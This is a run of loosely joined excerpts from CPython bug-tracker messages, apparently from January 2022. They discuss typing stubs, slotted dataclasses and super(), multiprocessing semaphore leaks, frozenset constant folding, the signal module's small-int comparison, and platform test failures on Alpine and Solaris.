I then realized that this change can be a reliable replacement for isinstance(obj, collections.abc.Sequence) at the C level. Let's use the broken sre_parse.SubPattern as an example - it does not register or inherit from collections.abc.Sequence, and isinstance(SubPattern, collections.abc.Sequence) == False. We cannot know programmatically if SubPattern is a Sequence, we cannot type hint it as such, and apart from reading the documentation, we cannot deal with the type differently in dynamic code that accepts either sequences or mappings. I dare to say, counting on it being a sequence, especially on a LBYL language like C is even less reliable. While SubPattern "embraces" the spirit of duck typing, it is very hard to fit in light of all recent changes advocating for a more structured and well defined types. After all, this feature was requested in order to solve reliability issues in statically typed languages.
Putting everything aside, the grand question still remains: do you think that there's a use for an efficient C-API isinstance check for Sequences and Mappings? I would presume the answer is yes. Would we encourage it? I have no clue. But if there's a need, we can either change this function as it has the same "spirit" or introduce a new one to prevent breaking existing code.
To answer your question: per specification, testing for Py_TPFLAGS_SEQUENCE using PyType_HasFeature, does not take strings, bytes and bytearray into consideration, and will not suffice. It is an incorrect solution that is even less reliable and falls into the exact pitfall of "guesswork" (for example SubPattern currently doesn't work with it either). It is not encouraged or easily thought of. PySequence_Check which is much more intuitive yet doesn't work either and that's where fixing it can have an edge.
A theoretical `PyIsInstance_Sequence` can check for TPFLAGS_SEQUENCE and Str/Bytes/ByteArray_Check. If I'm not wrong, doing so will be 100% reliable, identical to isinstance(obj, Sequence), and will be very efficient.
As a side-note, the C-API documentation for TP_FLAGS is not clear atm. It mentions for example tp_as_sequence and says "if such a flag bit is clear, the type fields it guards must not be accessed and must be considered to have a zero or NULL value instead" yet Py_TPFLAGS_SEQUENCE does not actually coincide with sequences per specification. I know it has a different explanation as well and the flag has its own docstring, but it is still a bit misleading.

> That was true in 2011 and it is still true today
Python's methodology greatly shifted since 2011. For the better or worse, Python lost some of its duck typing. Nowadays, most people use linters. Wherever you'd try to pass sre_parse.SubPattern, the linter will throw an error saying it's not a Sequence even if it fully behaves like one. You can silence that error but you'll continue receiving such warnings all over the code, whether in stdlib or out in the wild. The meaning of Sequence now shifted to "inherits from abc.Sequence". The only thing wrong with PySequence_Check is that the ecosystem shifted, but its view of a Sequence remained the same.

Hi Hynkek,
Thanks for the bug report.
I'll change the type category to "resource usage", since "crash" is typically reserved for issues where python crash (for exemple due to a seg fault).
Can you also provide a minimal code to check your issue ? Where ideally all the parameters are fixed (as the url).

1. It does not test all `pickle` protocols
2. It does not test newly added `ParamSpec` (probably others, I will double check)
3. It does not clean up `global TP, TPB, TPV`
I will send a PR for this :)

Spencer Brown <spencerb21 at live.com> added the comment:
There is a solution to this: you can modify the linecache module's cache to add lines under a fake filename, which is the approach attrs takes here:
https://github.com/python-attrs/attrs/blob/9727008fd1e40bc55cdc6aee71e0f61553f33127/src/attr/_make.py#L347
However, there are several downsides.
- That dict isn't documented or appears in __all__, so it's arguably private.
- The C implementation of traceback printing opens files directly, so this doesn't work there.
- You have to invent a unique filename, and manually remove lines from the cache if the function is later deleted.
This does affect both namedtuple and dataclasses, though it's probably not too important given how straightforward the generated code they produce is.

Both will function, but class B will add its slots after A's, causing there to be an extra unused slot in the object that you can only access by directly using the A.a descriptor. So all slotted inheriting dataclasses cause the object to use more memory than necessary.

Spencer is correct.
The documentation even adds: "This renders the meaning of the program undefined."
It's clear it doesn't break anything users would often encounter (we would have heard about it), but it's still undefined behavior.

New submission from Ned Batchelder <ned at nedbatchelder.com>:
In Python 3.11, unused generator comprehensions cause trace events with f_lineno set to None.

import linecache, sys
def trace(frame, event, arg):
# The weird globals here is to avoid a NameError on shutdown...
if frame.f_code.co_filename == globals().get("__file__"):
lineno = frame.f_lineno
if lineno is not None:
line = linecache.getline(__file__, lineno).rstrip()
else:
line = "<none>"
print("{} {!s:4}: {}".format(event[:4], lineno, line))
return trace
print(sys.version)
sys.settrace(trace)

Working.. should be able to create pull request soon. Note part of suggestions include using SIOCOUTQ, but this does not have an equivalent for windows. And as Murphy's law goes this is likely to be where the problem is!

Subject: [issue46390] Multiple test failures on Alpine 3.15 / musl-1.2.2-r7
Message-ID: <1642251384.22.0.111419838078.issue46390@roundup.psfhosted.org>
New submission from Christian Heimes <lists at cheimes.de>:
I'm getting multiple test failures with latest Alpine 3.15 and musl-1.2.2-r7. Some test failures may be caused by wrong assumptions in our tests, some might be bugs in musl lib.c
9 tests failed:
test__locale test_c_locale_coercion test_cmd_line test_gdb
test_locale test_os test_posix test_re test_selectors
I have attached the output of
./python -m test -v test__locale test_c_locale_coercion test_cmd_line test_gdb test_locale test_os test_posix test_re test_selectors 2>&1 | tee alpine315-tests.txt
You can use my container to reproduce the test failures:
$ podman run --privileged -ti --rm -v $(pwd):/cpython:Z quay.io/tiran/cpythonbuild:alpine-3.15 /bin/sh
# /cmd.sh
# cd /cpython/builddep/alpine-3.15-x86_64/
# make test

I noticed that 9 test suites are failing on Alpine 3.15, see bpo-46390. Should we require a stable buildbot before we proclaim official support for Alpine?

A bunch of failing tests are related to bpo-46390. CPython's test suite does not pass with musl libc yet.

Barney Gale <barney.gale at gmail.com> added the comment:
Fair enough. Users who wanted to avoid copying file metadata would then do something like this, I suppose?
import pathlib
import shutil
path = pathlib.Path('foo')
path.move('bar', copy_function=shutil.copy)
I guess the downside here is that users would still need to `import shutil` to do this. But I see the utility of allowing any copy_function to be supplied!

Victor, it's not clear to me whether this is a bug report or a "how do I do this" question, but in either case if you posted your code along with "I expected X but got Y", it would be easier to understand the issue.

Subject: [issue46391] Library multiprocess leaks named resources.
Message-ID: <1642269897.29.0.322439501259.issue46391@roundup.psfhosted.org>
New submission from XD Trol <milestonejxd at gmail.com>:
Repo is the standard tool that Google uses to build Android, Chrome OS, Chromium, etc, written in Python.
Many Repo users have encountered resource leak warnings with Python 3.9.
https://bugs.chromium.org/p/gerrit/issues/detail?id=14934&q=component%3Arepo&can=5
I did some work and found that the problem is not caused by the code of Repo, but a bug of the Python library, multiprocess.
To make it simple, the Python script below leaks named resource even when exiting normally. (And be unlinked by resource_tracker with a warning. )
```
import multiprocessing as mp
global_resource = mp.Semaphore()
def submain(): pass
if __name__ == '__main__':
p = mp.Process(target=submain)
p.start()
p.join()
```
Tested on macOS with Python 3.9.7
> python test.py
resource_tracker: There appear to be 1 leaked semaphore objects to clean up at shutdown.
This bug will 100% reproduce when then main module uses named resources as global variables and uses `spawn` context, which is the case of Repo on macOS.
This is caused by multiprocess::BaseProcess::_bootstrap.
When a new process is started with multiprocessing.Process.start() in `spawn` context.
1. The main module is reloaded in the subprocess (for pickle) in multiprocessing::spawn::_main.
2. Named resources (such as the semaphore above) in the main module resister their _cleanup into multiprocessing::util::_finalizer_registry, which unlink themselves.
3. multiprocess::BaseProcess::_bootstrap then clears _finalizer_registry.
When a subprocess is spawned, it is no need to clear util::_finalizer_registry (and no need to call util::_run_after_forkers). Disable clearing _finalizer_registry (and disable call to _run_after_forkers) should fix this bug without breaking anything else.
And I uploaded a MR.

Message-ID: <1642292190.73.0.652141176491.issue46392@roundup.psfhosted.org>
New submission from bpoaugust <sebbaz+bpo at gmail.com>:
The email headerregistry class MessageIDHeader is too strict when parsing existing Message-Ids. It can truncate Message-Ids that are valid according to the obsolete rules.
As the saying has it:
"Be liberal in what you accept, and conservative in what you send."
I think the parser should be much closer to the UnstructuredHeader.

Subject: [issue46393] Generate frozenset constants when explicitly appropriate
Message-ID: <1642302685.54.0.683212024451.issue46393@roundup.psfhosted.org>
New submission from Terry J. Reedy <tjreedy at udel.edu>:
The CPython compiler is capable of making frozenset constants without being explicitly asked to. Exactly how it does so is, of course, 'hidden' from python code. With current main:
.
>>> dis('{1,2,3}')
1 0 BUILD_SET 0
2 LOAD_CONST 0 (frozenset({1, 2, 3}))
4 SET_UPDATE 1
6 RETURN_VALUE
Suppose one wants actually wants a frozenset, not a mutable set. 'frozenset({1,2,3})' is compiled as the above followed by a frozenset call -- making an unneeded double conversion to get what already exists.
To avoid the intermediate set, one can use a constant tuple instead.
>>> dis('frozenset((1,2,3))')
1 0 LOAD_NAME 0 (frozenset)
2 LOAD_CONST 0 ((1, 2, 3))
4 CALL_FUNCTION 1
6 RETURN_VALUE
Even nicer would be
1 0 (frozenset({1, 2, 3}))
2 RETURN_VALUE
'set((1,2,3))' is compiled the same as 'frozenset((1,2,3)), but frozenset does not having the option is using a more efficient display form. I cannot think of any reason to not call frozenset during compile time when the iterable is a constant tuple.
Serhiy, I not sure how this relates to your issue 33318 and the discussion therein about stages, but it does relate to your interest in compile time constants.

Subject: [issue43371] Mock.assert_has_calls works strange
In-Reply-To: <1614695494.31.0.773020245058.issue43371@roundup.psfhosted.org>
Message-ID: <1642303262.86.0.891937238502.issue43371@roundup.psfhosted.org>
Roy Smith <roy at panix.com> added the comment:
I agree that this is confusing and that what we need is an assertion for the top-level mock having specific calls in a specific order, and ignores any intervening extra calls to mocked functions. In other words, a version of assert_has_calls() which looks at call_args_list instead of mock_calls.
I just finished up a session of head-banging with some tests that were failing (Python 3.7), and eventually ended up with the
self.assertEqual(my_mock.call_args_list, [call(...), call(...)])
idiom as noted in msg397172 (but without first banging a few new dents into the top of my desk). This exact same experience is related in a recent stackoverflow thread (https://stackoverflow.com/questions/69360318/python-unittest-mock-assert-has-calls-returning-calls-to-other-mocks) so this seems to be a common source of confusion.
I am neutral on whether this is implemented as a new flag to assert_has_calls() or as a new assertion method.
As an aside, what I was trying to do was test if my code constructed its several instances of a class in the correct way. At one point I hit upon the idea of:
MyMockedClass().__init__.assert_has_calls(....)
which expressed my desired logic exactly and simply, but couldn't get that to work. It's unclear if I just never found the proper incantation, or if that's fundamentally unworkable.

The difficulty is that frozenset may have been shadowed, or builtins monkey-patched, so we cannot know what frozenset({1, 2, 3}) will return until runtime.
Should we re-consider a frozenset display literal?
f{1, 2, 3}
works for me.

Terry J. Reedy <tjreedy at udel.edu> added the comment:
A minimal version of util.py just for this issue is fine. What is blocking the issue deciding exactly what the minimum should be. Are both the extension list and function needed?
Alex says somewhere in PR comments that ispythonsource passes directories. That seems wrong. Perhaps moving and revising it and making no-extension files browsable and removing the x.py(?) limitation should be a separate issue. IDLE users on *nix don't mind using extensions. I have not seen a complaint, though perhaps people who do mind silently use something else. I need to check again how the editor function is used and decide if we can leave it alone for now. So don't remove anything just now.
I need to experiment with Ron's suggestion on my Mac.
The Windows context menu is definitely a separate issue.
Please add idle_test/example.pyi with the line in msg403741 for manual testing now and possibly future automatic testing.

I approved this but the code wasn't wrong. Once an object has demonstrated that it can pickle at all, it is the testing responsibility of the pickle module tests to make sure that new protocols handle the same inputs as the old ones.
I went ahead and applied the PR because it is harmless, but it is a gratuitous test, so I don't recommend sweeping through all other pickling tests and modifying them in the same way.

Sigh. You are right. I will close this tomorrow.
This also means that 'set()' is not guaranteed to return an empty built-in set. I did think of this workaround for that:
>>> (empty:={None}).clear()
>>> empty
set()
Go ahead and propose something on python-ideas if you want, pointing out that only displays (and comprehensions) are guaranteed to result in a builtin.

Message-ID: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Right now if I remove these lines:
```python
if parameters == ():
raise TypeError("Cannot take a Concatenate of no types.")
if not isinstance(parameters, tuple):
parameters = (parameters,)
if not isinstance(parameters[-1], ParamSpec):
raise TypeError("The last parameter to Concatenate should be a "
"ParamSpec variable.")
```
from here: https://github.com/python/cpython/blob/09087b8519316608b85131ee7455b664c00c38d2/Lib/typing.py#L601-L607
And run the test suite - it passes.
To increase coverage I plan to:
1. Add a test for empty `Concatenate[]`
2. Add a test case when `ParamSpec` is not the last item of `Concatenate`
3. When passed parameter to `Concatenate` is not `tuple`
PR is on its way :)

[Terry]
> To avoid the intermediate set, [...]
It's not quite as bad as that: there _is_ no intermediate set (or if you prefer, the intermediate set is the same object as the final set), since the frozenset call returns its argument unchanged if it's already of exact type frozenset:
>>> x = frozenset({1, 2, 3})
>>> y = frozenset(x)
>>> y is x
True

Yes, my bad :)
In this case, do we need to make this a `TypeError`? Right now you can use `Concatenate` as the return type.

Last I recall, we stopped checking anything in the param args of Callable since 3.10 because it has too many problems with inter-version typing and typing_extensions usage. E.g. in Python 3.8
Callable[typing_extensions.Concatenate[...], ...]
was extremely difficult to implement in typing_extensions since Callable checks were too strict back then (they only allowed list of args). So to avoid such problems in the future, we ceased all param args checking.
For the return arg, I'm not too keen on adding more checks for the same reason of allowing future additions. Also the static type checker should warn the user and mypy correctly does that.

Sorry, yes - I see. We're not creating a frozenset from a frozenset - we're creating a frozenset from a regular set from a frozenset. :-(

In what way is it too strict? What "obsolete rules" are you referring to? What are some example Message-Ids should be considered valid that instead get truncated? What changes are you proposing?

Subject: [issue46399] Addition of `mapping` attribute to dict views classes
has inadvertently broken type-checkers
Message-ID: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org>
New submission from Alex Waygood <Alex.Waygood at Gmail.com>:
Issue40890 added a new `.mapping` attribute to dict_keys, dict_values and dict_items in 3.10. This addition is great for introspection. However, it has inadvertently caused some unexpected problems for type-checkers.
Prior to Issue40890, the typeshed stub for the three `dict` methods was something like this:
```
from typing import MutableMapping, KeysView, ItemsView, ValuesView, TypeVar
_KT = TypeVar("_KT")
_VT = TypeVar("_VT")
class dict(MutableMapping[_KT, _VT]):
def keys(self) -> KeysView[_KT]: ...
def values(self) -> ValuesView[_VT]: ...
def items(self) -> ItemsView[_KT, _VT]: ...
```
In other words, typeshed did not acknowledge the existence of a "dict_keys" class at all. Instead, it viewed the precise class as an implementation detail, and merely stated in the stub that `dict.keys()` would return some class that implemented the `KeysView` interface.
After Issue40890, however, it was clear that this approach would no longer suffice, as mypy (and other type-checkers) would yield false-positive errors for the following code:
```
m = dict().keys().mapping
```
Following several PRs, the typeshed stub for these `dict` methods now looks something like this:
```
# _collections_abc.pyi
import sys
from types import MappingProxyType
from typing import Generic, KeysView, ValuesView, ItemsView, TypeVar, final
_KT_co = TypeVar("_KT_co", covariant=True)
_VT_co = TypeVar("_VT_co", covariant=True)
@final
class dict_keys(KeysView[_KT_co], Generic[_KT_co, _VT_co]):
if sys.version_info >= (3, 10):
mapping: MappingProxyType[_KT_co, _VT_co]
@final
class dict_values(ValuesView[_VT_co], Generic[_KT_co, _VT_co]):
if sys.version_info >= (3, 10):
mapping: MappingProxyType[_KT_co, _VT_co]
@final
class dict_items(ItemsView[_KT_co, _VT_co], Generic[_KT_co, _VT_co]):
if sys.version_info >= (3, 10):
mapping: MappingProxyType[_KT_co, _VT_co]
# builtins.pyi
from _collections_abc import dict_keys, dict_views, dict_items
from typing import MutableMapping, TypeVar
_KT = TypeVar("_KT")
_VT = TypeVar("_VT")
class dict(MutableMapping[_KT, _VT]):
def keys(self) -> dict_keys[KT, VT]: ...
def values(self) -> dict_values[_KT, _VT]: ...
def items(self) -> dict_items[_KT, _VT]: ...
```
The alteration to the typeshed stub means that mypy will no longer give false-positive errors for code in which a user attempts to access the `mapping` attribute. However, it has serious downsides. Users wanting to create typed subclasses of `dict` have found that they are no longer able to annotate `.keys()`, `.values()` and `.items()` as returning `KeysView`, `ValuesView` and `ItemsView`, as mypy now flags this as an incompatible override. Instead, they now have to import `dict_keys`, `dict_values` and `dict_items` from `_collections_abc`, a private module. Moreover, they are unable to parameterise these classes at runtime.
In other words, you used to be able to do this:
```
from typing import KeysView, TypeVar
K = TypeVar("K")
V = TypeVar("V")
class DictSubclass(dict[K, V]):
def keys(self) -> KeysView[K]:
return super().keys()
```
But now, you have to do this:
```
from _collections_abc import dict_keys
from typing import TypeVar
K = TypeVar("K")
V = TypeVar("V")
class DictSubclass(dict[K, V]):
def keys(self) -> "dict_keys[K, V]":
return super().keys()
```

As a fix, I propose that two changes be made to `dict_keys`, `dict_values` and `dict_items`:
* They should be officially exposed in the `types` module.
* `__class_getitem__` should be added to the classes.
These two changes would mean that users would be able to do the following:
```
from types import dict_keys
from typing import TypeVar
K = TypeVar("K")
V = TypeVar("V")
class DictSubclass(dict[K, V]):
def keys(self) -> dict_keys[K, V]:
return super().keys()
```

The easiest might be for me to provide some test cases, but I have not been able to work out where the existing unit tests are.
One failure which I believe should be permitted under current rules is:
<alphanum at aphanum > - i.e. trailing space
The space gets added AFTER the >
However the following is parsed correctly:
<alphanum@()aphanum > - i.e. trailing space but with previous comment
The obsolete rules I referred to are here:

Okay, PR welcome.
(Though since this can only work for 3.11+,
maybe typeshed could also be adjusted?
For that you?d have to file a bug there.)

New submission from Ned Batchelder <ned at nedbatchelder.com>:
The sqlite3 library implicitly creates the database if the requested file doesn't exist. I would like to be able to avoid that implicit creation. (Actually, it would be enough to know whether I had created the database, but the underlying SQLite library doesn't seem to indicate that.)
The C code currently hard-codes the SQLite flag to create the database if it doesn't exist:
rc = sqlite3_open_v2(database, &db,
SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE |
(uri ? SQLITE_OPEN_URI : 0), NULL);
Could we make this an option, so the Python code could avoid implicit creation?

It's unlikely that anyone will download a binary from bpo and open it. Can you help us reproduce the issue without that?
First question is whether you can reproduce this on a version of python that is still in maintenance - 3.9 or higher?

I also think the current error message and docs are clear enough. Things are usually case sensitive, and we don't state that in docs.
Specifying the list of modes in the error message is possible, but I expect that we will get complaints about variations we did not list (why do you mention only "r" and "w" when "rw" is also fine?)

On def getBoardCopy(board):, it says "SyntaxError:invalid syntax". I looked through the code and found nothing wrong. Why is this?

Eric V. Smith <eric at trueblade.com> added the comment:
This is not the appropriate place to ask for help in debugging your code. I suggest you ask on the python-list mailing list.
The error is that you're missing a bunch of right parenthesis in the isWinner() function.
I do think "Syntax Error" isn't the best error message, though.
Here's a simplified reproducer:
---------------
def f():
return ((1==2)
x
---------------
Note that in 3.11 (the only other version I have handy), the error is:
File "foo.py", line 2
return ((1==2)
^
SyntaxError: '(' was never closed
I suspect that we won't fix this in old versions of python.

Subject: [issue46404] 3.11a4: a small attrs regression
Message-ID: <1642373286.75.0.870897334257.issue46404@roundup.psfhosted.org>
New submission from Tin Tvrtkovi? <tinchester at gmail.com>:
We've received a report over at the attrs issue tracker about our test suite failing on Python 3.11. Here's the link: https://github.com/python-attrs/attrs/issues/907
It turns out to be an issue with the no-arg `super()` calls in slotted classes. Here's a minimal reproducer example:
```
from attrs import define
@define
class A:
pass
@define
class B(A):
def test(self):
super()
B().test()
```
```
Traceback (most recent call last):
File "/Users/tintvrtkovic/pg/attrs/a01.py", line 15, in <module>
B().test()
^^^^^^^^^^
File "/Users/tintvrtkovic/pg/attrs/a01.py", line 12, in test
super()
^^^^^^^
TypeError: super(type, obj): obj must be an instance or subtype of type
```
This is a known issue for which we have implemented workarounds. The workarounds aren't effective for 3.11 though. I have implemented a fix in attrs (https://github.com/python-attrs/attrs/pull/910), but I still thought I'd post this here to maybe get the core devs opinion.
Dataclasses exhibit the exact same issue when used with `slots=True`, both in 3.10 when `slots` was added and in 3.11. I guess no one reported it or tried fixing it.
A comprehensive description of the issue follows: since it's impossible to add *slotness* (i.e. set `__slots__`) to a class after it has been created, when creating a slotted class the class decorators in attrs and dataclasses actually replace the class they are applied to with a copy of it, with slots added. This works, except in the case of the no-arg `super()` being used in any of the class methods (and maybe another edge case that I can't remember). When the compiler encounters the no-arg `super()` form, it adds some state to the function `__closure__` cells. This state causes the exception shown above, since it's incorrect when the class gets replaced.
So these closure cells need to be rewritten when the class is replaced. In Python versions prior to 3.11, the closure cells were immutable so extra effort was needed to rewrite them. The functions are here: https://github.com/python-attrs/attrs/blob/9727008fd1e40bc55cdc6aee71e0f61553f33127/src/attr/_compat.py#L145.
In 3.11, our old closure cell rewriting doesn't work any more, but closure cells don't appear to be immutable either, so the fix in my attr PR linked above is simple. Still, it's another branch in the code to support a specific version.
I don't know if there's anything actionable here for Python, apart from confirming or denying if this behavior is expected.

Udated doc link, which appears to be same:
https://docs.python.org/3.11/reference/lexical_analysis.html#identifiers
Updated property list linked in above:
https://www.unicode.org/Public/14.0.0/ucd/PropList.txt
Relevant content for this issue:
1885..1886 ; Other_ID_Start # Mn [2] MONGOLIAN LETTER ALI GALI BALUDA..MONGOLIAN LETTER ALI GALI THREE BALUDA
2118 ; Other_ID_Start # Sm SCRIPT CAPITAL P
212E ; Other_ID_Start # So ESTIMATED SYMBOL
309B..309C ; Other_ID_Start # Sk [2] KATAKANA-HIRAGANA VOICED SOUND MARK..KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK
# Total code points: 6
00B7 ; Other_ID_Continue # Po MIDDLE DOT
0387 ; Other_ID_Continue # Po GREEK ANO TELEIA
1369..1371 ; Other_ID_Continue # No [9] ETHIOPIC DIGIT ONE..ETHIOPIC DIGIT NINE
19DA ; Other_ID_Continue # No NEW TAI LUE THAM DIGIT ONE
# Total code points: 12
Codepoints of '??' opening example:
'0x2118' Other_Id_start Sm Script Capital P
'0xb7' Other_Id_continue P0 Middle dot
Except for the two Mongolian start characters, Meador's patch hardcodes the 'Other' characters, thereby adding them without waiting for re to be fixed. While this will miss new additions without manual updates, it is better than missing everything for however many years. I will make a PR with the additions and looks at the new tests.

Message-ID: <1642376084.99.0.108704224042.issue46405@roundup.psfhosted.org>
New submission from Terry J. Reedy <tjreedy at udel.edu>:
Sometime between Jan 7 and Jan 16 (today) this VC compile warning appeared (debug build).
"specialize.c
..\Python\specialize.c(1243): warning C4018: '<': signed/unsigned mismatch [f:\dev\3x\PCbuild\_freeze_module.vcxproj]"
Same is repeated at end of compile.
Could and should such warnings be treated as errors in CI Windows' build? Or is it specific to debug build?

Gregory P. Smith <greg at krypto.org> added the comment:
The PR was directly inspired by Mark Dickinson's code in the email thread directly using __asm__ to get the instruction he wanted. There is usually a way to make the compiler actually do what you intend. This appears to be it.
Interestingly, experimenting with small code snippets rather than the entire longobject.c on gotbolt.org to check various compilers output does not always yield as nice of a result. (clang 11+ showed promise there, but this change benefits gcc equally as well in real world CPython microbenchmark timeit tests). https://godbolt.org/z/63eWPczjx was my playground code.
```
$ ./b-clang13/python -m timeit -n 1500000 -s 'x = 10**1000; r=x//10; assert r == 10**999, r' 'x//17'
1500000 loops, best of 5: 450 nsec per loop
$ ./b-clang13-new-basic-divrem1/python -m timeit -n 1500000 -s 'x = 10**1000; r=x//10; assert r == 10**999, r' 'x//17'
1500000 loops, best of 5: 375 nsec per loop
$ ./b-gcc9/python -m timeit -n 1500000 -s 'x = 10**1000; r=x//10; assert r == 10**999, r' 'x//17'
1500000 loops, best of 5: 448 nsec per loop
$ ./b-gcc9-new-basic-divrem1/python -m timeit -n 1500000 -s 'x = 10**1000; r=x//10; assert r == 10**999, r' 'x//17'
1500000 loops, best of 5: 370 nsec per loop
```
That's on an AMD zen3 (x86_64). Also tested with other divisors, 17 is not specialized by the compiler. These were not --enable-optimizations builds, though the results remain similar on those for non-specialized values as x//10 turns into when using -fprofile-values on gcc9.
Performance tests using other architectures forthcoming.
A pyperformance suite run on a benchmark-stable host is worthwhile. I don't actually expect this to show up as significant in most things there; we'll see.
The new code is not any more difficult to maintain than the previous code regardless.

Thank you for your solution: setting the env var SETUPTOOLS_USE_DISTUTILS=stdlib.
1. At my previous Python 3.10.1, I always upgrade to the latest setuptools (60.5.0), then I get an error of "No module named 'binascii'" during upgrading to Python 3.10.2 from compiling source.
2. I do not have the above issue as I install a new Python 3.10.2 with the bundled setuptools 59.0.1 at termux environment.
It is an issue of upgrade at my linux environment.
I shall close this ticket soon.

Gregory P. Smith <greg at krypto.org> added the comment:
I tested my PR branch on 32-bit arm (raspbian bullseye) and the microbenchmark timing shows no change (within the noise across repeated runs). Unsurprising as division is entirely different on 32-bit arm.
Raspbian uses armv6 for compatibility with the original rpi and rpi0. armv6 does not have an integer division instruction. (how RISCy of it) But that doesn't make a difference in this code as the final 32-bit arm ISA, armv7-a, only has a 32:32 divider. (armv8 aka aarch64 is 64-bit and uses a UDIV as one would expect)
anyways, that satisfies me that it isn't making anything worse elsewhere.

Message-ID: <1642392646.67.0.619792737511.issue35467@roundup.psfhosted.org>
Terry J. Reedy <tjreedy at udel.edu> added the comment:
I finally caught an example, which was not immediately after restart. I copied the two lines of output, entered 'import re\n' and the copied text was pasted, then the line with the addition compiled, leading to the error.
Type "help", "copyright", "credits" or "license()" for more information.
>>> for c in '??': hex(ord(c))
...
'0x2118'
'0xb7'
>>> import re'0x2118'
... '0xb7'
SyntaxError: invalid syntax
>>> for c in '??': hex(ord(c))
I pasted the copied output into an issue on the browser and did other stuff before coming back to this window to try something with re.
Differences from my initial report: No RESTART (though usually or often is), no exception, not first entry (but first time not?).
Edit menu item 'Paste' and the shortcut are bound to IDLE-defined pseudoevent '<<paste>>' which invokes method EditorWindow.paste which calls event_generate('<<Paste>>'), where the latter event is a tk-defined event. Where triggered? I could add a print-to-console in .paste? Happening only in shell and after Enter suggest looking as shell-specific part of Enter handling. If never on Linux, could x-11-only fix-x11-paste (called in pyshell.main) explain why not?
I searched stackoverflow [tkinter] questions for 'paste'. Got 840 responses, looked as first page, saw nothing relevant. Adding 'unwanted', 'unexpected', or 'spontaneous' resulted in no hits. I will consider asking a question myself.

For non-coredevs, 'not a bug' means not a bug in the CPython interpreter, as opposed to user code, which here has bugs.
People asking questions (preferably in a more appropriate place) should read, for instance,
https://stackoverflow.com/help/minimal-reproducible-example
How to create a Minimal, Reproducible Example
A minimal reproducer is '('. In 3.9, the message is 'unexpected EOF while parsing'. It is not unusual for beginners to leave out the message when reporting an exception in text rather than copy-pasting the last few lines of the traceback (which indicates exactly where the error is caught).
[bpo software should be rejecting number IDs]

bpo-43693: Add the MAKE_CELL opcode and interleave fast locals offsets. (gh-26396)
This moves logic out of the frame initialization code and into the compiler and eval loop. Doing so simplifies the runtime code and allows us to optimize it better.

Subject: [issue46408] signal module wrongly relies on small int singletons
Message-ID: <1642410088.81.0.615313504178.issue46408@roundup.psfhosted.org>
New submission from Christian Heimes <lists at cheimes.de>:
The signal.signal() function directly compares PyObject *handler with PyObject *modstate->ignore_handler. This works on most platforms because they are both small ints and Python uses singletons for cached small ints.
The assumption breaks when Python is built without small int cache or a platform has SIG_IGN / SIG_DFL that is outside the range of small int cache. The wasm32-emscripten platform uses "((void (*)(int))-2)" (4294967294) for SIG_IGN. The wrong comparison breaks several tests on WASM32. The function should use PyObject_RichCompareBool(handler, modstate->ignore_handler, Py_EQ) instead.
if (handler == modstate->ignore_handler) {
func = SIG_IGN;
}
else if (handler == modstate->default_handler) {
func = SIG_DFL;
}

Message-ID: <1642411896.1.0.788129949802.issue46393@roundup.psfhosted.org>
Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:
As Steven have noted the compiler-time optimization is not applicable here because name frozenset is resolved at run-time.
In these cases where a set of constants can be replaced with a frozenset of constants (in "x in {1,2,3}" and in "for x in {1,2,3}") the compiler does it.
And I don't think there is an issue which is worth changing the language. Creating a frozenset of constants is pretty rare, and it is even more rare in tight loops. The most common cases (which are pretty rare anyway) are already covered.

Yes ? it's unfortunate, but I have some ideas for hacky workarounds we can implement in typeshed for 3.10 :) and, as you say ? that's a problem to be dealt with on the typeshed issue tracker rather than here.

Oh no, I expected that the new way to build Python would also export PyThread_get_thread_native_id() on Solaris. I reopen the issue.
Can you please specify your configure command? Can you check without Python if the symbol is exported or not? If you use --enable-shared, check in libpython, otherwise check in the "python" binary.

This also broke our Solaris build with the following error:
======================================================================
FAIL: testGetaddrinfo (test.test_socket.GeneralModuleTests)
----------------------------------------------------------------------
Traceback (most recent call last):
File "/..../cpython-main/Lib/test/test_socket.py", line 1523, in testGetaddrinfo

AssertionError: '<SocketKind.SOCK_STREAM: 2>' != '<SocketKind.SOCK_STREAM: 1>'
- <SocketKind.SOCK_STREAM: 2>
? ^
+ <SocketKind.SOCK_STREAM: 1>
? ^
(test.test_socket.GeneralModuleTests fails with the same error).
The issue is almost certainly that on Solaris, SOCK_STREAM is defined as 2 rather than 1; the following simple program confirms that:
#include <stdio.h>
#include <sys/socket.h>
void main() {
printf("%d\n", SOCK_STREAM);
}
I'm just not sure whether to fix this with `assertRegex` or a special branch for Solaris (though I am not sure whether everybody else uses 1 or it's more varied).

The *binary* is a corrupted zip file to open with `zipfile.ZipFile()`, it can't be executed on its own.

Jakub Kulik <jakub.kulik at oracle.com> added the comment:
Ah, sorry, I could have described the issue better. It's not a problem with exporting, PyThread_get_thread_native_id() isn't available on Solaris (and possibly other platforms) at all.
https://github.com/python/cpython/blob/main/Include/pythread.h#L28
https://github.com/python/cpython/blob/main/Python/thread_pthread.h#L329
The reason I didn't implement it yet is that Solaris doesn't expose anything like native thread id. We do have functions like `_lwp_self()` or `pthread_self()` or `thr_self()` but neither of them returns id where "value may be used to uniquely identify this particular thread system-wide". (I presume that means that no other thread of no other process running on a given system would return the same number - all these functions return single digit numbers so there is no way they are unique system wide).
If necessary, I guess that such a number can be created by masking pid and thread id together, but then there's a question of how it is supposed to be used (because OS would not understand it).

Message-ID: <1642420475.96.0.0360336928035.issue46409@roundup.psfhosted.org>
New submission from Mark Shannon <mark at hotpy.org>:
(including coroutines, and async generators)
We now make the start and resumption of Python functions explicit in the bytecode which allows us to initialize frames in the bytecode without exposing incomplete frames tracing, the GC etc.
However, we still expose incomplete frames when creating generators.
By making the creation of generators explicit in the bytecode we first create the frame, then the generator and all is well.
See https://bugs.python.org/issue46374 and https://bugs.python.org/issue46389 for examples.

STINNER Victor <vstinner at python.org> added the comment:
rl-locale.diff changes the readline implementation of the PyOS_Readline() to set LC_CTYPE locale to "C": setlocale(LC_CTYPE, "C"), rather to the user preferred locale: setlocale(LC_CTYPE, ""). IMO it's a bad idea. Python made great progress in Unicode support, readline has a good Unicode support, and in most cases, it just works like a charm. This change looks a hack just to get these 2 specific tests to pass, but it breaks any other usage of readline.
rl-test.diff skips the test if the readline module can be imported, and it always import the readline module. It's different than that GH-30631 which only checks if the readline module is currently imported: my change doesn't import readline in test_builtin.
